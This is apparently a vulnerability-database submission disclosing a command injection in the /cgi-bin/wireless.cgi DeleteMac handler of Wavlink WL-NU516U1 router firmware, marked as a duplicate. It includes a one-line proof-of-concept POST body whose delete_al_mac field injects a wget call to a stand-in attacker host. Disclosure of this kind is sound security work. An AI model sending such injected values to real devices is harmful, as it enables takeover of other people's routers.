| Title | Wavlink WL-NU516U1-A M16U1_V240425 Command Injection |
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| Description | Class: Command Injection
Description: Wavlink WL-NU516U1 firmware M16U1_V240425 contains a command injection vulnerability in /cgi-bin/wireless.cgi. When page=DeleteMac, function sub_402D1C reads delete_al_mac POST parameter and passes it to del_mac.sh via sprintf, executed through system(). The $(cmd) syntax bypasses the input filter.
PoC: POST /cgi-bin/wireless.cgi body: page=DeleteMac&delete_list=AA&delete_al_mac=$(wget http://attacker:6666/callback) |
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| Source | ⚠️ https://github.com/Svigo-o/Wavlink_vul/tree/main/wavlink-wl-nu516u1-wireless-deletemac-deletealmac-command-injection |
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| User | aimless (UID 89799) |
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| Submission | 05/20/2026 10:43 (22 days ago) |
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| Moderation | 06/07/2026 12:00 (18 days later) |
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| Status | Duplicate |
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| VulDB entry | 325828 [Wavlink NU516U1 M16U1_V240425 DeleteMac Page /cgi-bin/wireless.cgi sub_402D1C delete_list command injection] |
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| Points | 0 |
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